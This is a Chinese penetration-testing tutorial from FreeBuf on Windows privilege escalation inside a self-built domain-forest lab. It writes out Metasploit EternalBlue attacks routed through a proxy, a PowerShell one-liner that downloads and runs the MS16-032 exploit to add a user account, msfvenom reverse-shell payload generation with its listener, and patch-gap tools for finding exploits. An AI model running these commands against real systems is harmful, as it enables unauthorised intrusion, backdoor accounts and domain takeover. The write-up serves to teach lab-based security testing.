freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基内网篇:域森林中权限提升(上)
2021-04-08 11:51:14

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。

如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。

跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:

社工钓鱼 -> 免杀过全杀软 -> 内网渗透

那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。

通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:

域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器

通过该思路进攻即可,还有另外一条思路:

域普通用户 -> 10.10.21.0/24二级区域 -> 继续延伸

渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过上期隐藏通信隧道技术已经在内网域森林中建立了一级隧道,今天我们就来对子域控制器进行提权,总结实战中会遇到的权限提升的各种方法,利用这些方法在内网中遨游!

不会权限提升技术,就无法对内网机器进行进一步的渗透!!

二、环境介绍

目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
1617868940_606eb88cacd98f8a902ed.png!small?1617868941773

为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:

单篇:渗透测试之地基内网篇:域森林中父子域和辅域用户搭建分析

接下来将演示分析内网中的权限提升各种方法,利用该方法在域森林中旅行!

三、MSF-永恒之蓝

在信息收集阶段,已知子域控xiyou.dayu.com存活,那么实战内网最经典的漏洞就是永恒之蓝。

在2017年4月,轰动网络安全界的事件无疑是TheShadowBrokers放出的一大批美国国家安全局(NSA)方程式组织( Equation Group )使用的极具破坏力的黑客工具,其中包括可以远程攻破约70%的Windows服务器的漏洞利用工具。一夜之间,全世界70%的Wndows服务器处于危险之中,国内使用Windows服务器的高校、企业甚至政府机构都不能幸免。这无疑是互联网的一次“大地震”,因为已经很久没有出现过像“永恒之蓝”(MS17-010) 这种级别的漏洞了。

Mtsploit是当今安全专业人员免费提供的最有用的审计工具之一!新版本的Mtsploit已经集成了MS17-010漏洞的测试模块,接下来将利用该工具进行内网最初提权!

通过上一期《域森林中多级域通信隧道(下)》建立了Frp内网隧道代理。

1、MSF基础认知

1617869051_606eb8fb9af2386062732.png!small?1617869074702该图是Metasploit 体系结构,了解后可知MSF框架可利用外部安全工具配合内部插件链接基础库文件,基础库文件有生成后门shell的功能程序和开启MSF功能的接口

2、MSF文件系统

1617869059_606eb90367413f2d249bd.png!small?1617869074702通过Kali可以查看到12种相关永恒之蓝(MS17-010)的漏洞详情,其中利用的模块也详细介绍到XP~2008R2范围内系统存在该漏洞,目前攻击的子域控制器在信息收集后还不清楚是什么系统,那么就来尝试下进攻的旅行感!

3、进攻子域控制器

1)MSF挂载代理
1617869067_606eb90b730787cd0ae20.png!small?1617869074702

setg Proxies socks5:192.168.253.11:7777
setg ReverseAllowProxy true

MSF自带挂载代理功能,只需要执行两条命令即可将VPS上建立的隧道代理通道挂载到Kali-MSF上进行横向渗透!

2)MSF横向渗透

目前挂载好代理后,Kali-MSF就可以对域森林进行横向渗透了,开始!
1617869077_606eb915e216e65d4b34d.png!small?1617869081919

search ms17-010

查询ms17-010存在的EXP类型,先利用auxiliary对子域控制器进行探测:
1617869083_606eb91bb20d077b0ed0a.png!small?1617869088001

use auxiliary/scanner/smb/smb_ms17_010

填入RHOSTS攻击方子域控制器的IP地址:
1617869088_606eb9207b0b008c2b697.png!small?1617869090736run执行后auxiliary脚本通过隧道对域森林中子域控制器进行了扫描,发现VULNERABLE(存在漏洞),以及子域控制器的系统为:Windows Server 2016 Standard 14393 x64 (64-bit)!!

经过前面对MS17-010的了解,XP~2008R2范围内系统存在该漏洞,win 2016是不存在的!尝试攻击看看!

3)探测攻击
1617869097_606eb92937d77d0c201f9.png!small?1617869103389

use exploit/windows/smb/ms17_010_eternalblue

利用exploit脚本进行攻击,填入攻击的IP开启攻击:
1617869104_606eb9304113f746992dd.png!small?1617869132777通过现场模拟,发现子域控制器蓝屏了!!

所以在扫描发现windows2016系统版本后,不应该进行继续的进攻了,进攻只会导致蓝屏现象!域控蓝屏会导致整个子域用户环境影响工作!动静非常大,那么接下来利用另外一种方法拿下子域控制器!

4、成功拿下域控

通过前面发现直接exp攻击windows 2016是不可行的,但在auxiliary脚本扫描结果是VULNERABLE存在漏洞行为,那么怎么攻击呢?永恒之蓝还有另外一种攻击方式,command方式,就是获得对方的CMD终端交互权限!开始!

1)ms17_010_command查询
1617869110_606eb9368c18abcddc8c2.png!small?1617869132777

search admin/smb

可看到存在一个探测利用脚本:auxiliary/admin/smb/ms17_010_command,该exp脚本属于command命令输入模式,运行!

2)ms17_010_command攻击
1617869116_606eb93c4ad8d4923e12c.png!small?1617869132890

use auxiliary/admin/smb/ms17_010_command

1617869121_606eb941bf5b9d58b2556.png!small?1617869134553set输入域控IP和command交互Ipconfig命令后执行run,利用成功,可看到ipconfig输入后回显出了子域控制器的IP情况,和信息收集到的情况一样!

那么command相当于拿到了域控的cmd窗口命令,那这里在旅行中基本能畅游子域控制器了!

四、权限提升-系统补丁

1、简介

在Windows环境中,权限大概分为四种:分别是User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller,在常规使用中通常不会涉及。

详情:

1. User:普通用户权限,是系统中最安全的权限。
2. Administrator:管理员权限。可以利用Windows 的机制将自己提升为System权限,以便操作SAM文件等。
3. System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
4. TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。

低权限级别将使渗透测试受到很多限制。在Windows中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。

常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等等,接下来将逐一介绍提权的方式方法!

2、系统补丁收集

通过钓鱼、web渗透等方式获得的webshell可能是低权用户,那么需要进行权限提升为system/administrator权限,操作系统中不管是windows还是linux,存在两种提权方式:

1. 纵向提权:低权限角色获得高权限角色的权限。例如,一个 WebShell权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级。
2. 横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限,这种提权就属于横向提权。

常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。

那么如何提权离不开信息收集的强度,接下来将介绍通过手动执行命令发现缺失补丁的方法!

3、手动发现缺失补丁

建立在获取到对方的shell后进行的操作

1)通过whoami /groups查看当前权限
1617869133_606eb94d40c3a017b09a3.png!small?1617869134553

2)查看系统补丁

systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

1617869138_606eb952bcf6e4a809aa2.png!small?16178691394521617869143_606eb957d124e5fce3292.png!small?1617869144370

目前只安装KB3199986,KB3200970两个补丁!

3)对系统补丁包进行过滤查找指定补丁

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"kb3143141" /C:"KB976902"

1617869148_606eb95cc59e64b9e6387.png!small?1617869149173
可看到高危exp的kb补丁都未打的,补丁kb库详见:

https://github.com/SecWiki/windows-kernel-exploits

4、MS16-032

此漏洞影响从Vista到Windows 10的所有Windows版本(包括服务器版本)以及为了实现利用,因为PowerShell脚本指示需要满足以下要求:目标系统需要有2个以上的CPU核心 PowerShell v2.0及更高版本必须正在运行。

Windows Vista 
Windows 7
Windows 8.1
Windows 10 
Windows 2008 Server 
Windows 2012 Server

通过上面简单的补丁信息收集,如果目标机器存在MS16-032(KB3139914)漏洞,可以通过metasploit或者powershell下的Invoke-MS16-032.ps1脚本进行提权,通过ps脚本可以执行任意程序,且可以带参数执行,无弹窗。

脚本下载地址:

https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1

1)本地执行
1617869156_606eb9644334c75905cd2.png!small?1617869156941

.\Invoke-MS16-032.ps1
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user dayu1 dayu1 /add"
#添加用户1密码1

目前只是简单的告知该一种方法,很多EXP都可以去github上下载操作提权!

2)远程执行
1617869162_606eb96a97a85a2d7944e.png!small?1617869163215

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user dayutest test123 /add'" 
#远程下载,提权,添加用户

如果在内网环境,把脚本部署在能访问的web服务器目录中即可!

5、利用Metasploit发现缺失补丁

在永恒之蓝部分已经教会大家如何简单实用Metasploit,Metasploit也包含了如何发现补丁缺失甚至是可以利用什么exp对机器进行提权等。

为了更好的体验Metasploit发现补丁之旅,我进行了木马上传进行真实操作显现给小伙伴们看。

1)首先生成exe后门
1617869169_606eb971b18a0ec60b354.png!small?1617869171514

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.253.27 LPORT=4444 -f exe >1.exe

msfvenom生成MSF的后门exe文件。

2)开启监听
1617869174_606eb976f1301959284af.png!small?1617869178075

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter_reverse_http; set lhost 192.168.253.27; set lport 4444; exploit -j; "

一句话将开启MSF监听模式。

3)上传web服务器并运行
1617869181_606eb97d3c548886be904.png!small?1617869183553
将1.exe免杀或者直接上传到web服务器进行演示,成功获得对方shell。

4)运行补丁模块
1617869185_606eb9819f60030bb9711.png!small?1617869187407

use post/windows/gather/enum_patches 
set session 1
run

可看到该web服务器只打了三个补丁:KB2534111、KB2999226、KB976902。

5)运行漏扫模块
使用msf找出系统中可能被利用的漏洞:
1617869190_606eb986a4db354715244.png!small?1617869194144

use post/multi/recon/local_exploit_suggester
set session 1

可看到列出了五种exp的方法,bypassuac_sdclt、cve_2019_1458、bypassuac_dotnet_profiler、ms10_092_schelevator、ms16_014_wmi_recv_notif等等,甚至都有运行模块的exp脚本,直接运行提权即可!

6、Windows Exploit Suggester

Windows Exploit Suggester该工具可以将系统中已经安装的补丁程序和微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞。该库需要不定时的进行更新在自己的武器库内,漏洞是随着时代更新而更新的!

1)kali下载
1617869201_606eb9919418d841f1532.png!small?1617869206796

git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester

成功在github上下载到本地kali

2)从微软官网自动下载安全公告数据库
1617869207_606eb997affe864e6e50c.png!small?1617869208420

./windows-exploit-suggester.py --update

可看到更新到4月8号最新的库!

3)安装xlrd模块
1617869215_606eb99f143ef642d39e6.png!small?1617869216875

pip install xlrd --upgrade

4)查找shell系统版本信息
1617869219_606eb9a351065fce6ea46.png!small?1617869222039

systeminfo > dayu.txt

5)执行

将dayu.txt放入kali:

1617869225_606eb9a94880ea75273c7.png!small?1617869235641

./windows-exploit-suggester.py --database 2021-04-08-mssb.xls --systeminfo dayu.txt

可发现能利用的补丁和exp名称,然后找到对应的exp执行即可!

7、Powershe中的 Sherlock

Powershe中的 Sherlock脚本,可快速查找可能用于本地权限提升的漏洞。

下载地址:

https://github.com/rasta-mouse/Sherlock

1617869230_606eb9ae544cd760c8714.png!small?1617869235642

Import-Module .\Sherlock.ps1
Find-AllVulns

在CS3以上的版本都已经添加了elevate功能,也可以利用CS扫描!

五、总结

通过MSF-永恒之蓝,熟悉MSF框架的简单使用,利用MSF框架的exp控制子域控制器机器,在权限提升系统补丁发现系列中,介绍了六种系统补丁挖掘的办法,非常的实用在实战当中,发现了可利用的系统内核漏洞提权后,就可以通过漏洞提权获得最高权限更好的控制对方机器。

系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁---即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性,如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方法提权,就必须找出目标系统中的0day漏洞。

不会权限提升exp收集,就无法在内网中旅行,无法见到更多的风景,学习今天的exp信息收集的方法,利用对应的EXP模块进行内核提权,就可以在该公司域森林中遨游了!

公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> ......

接下来在《域森林中权限提升(中)》中会接触各种服务、策略、溢出和UAC等权限提升的方式方法!如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林中权限提升!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 内网 # 权限 # 域森林
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录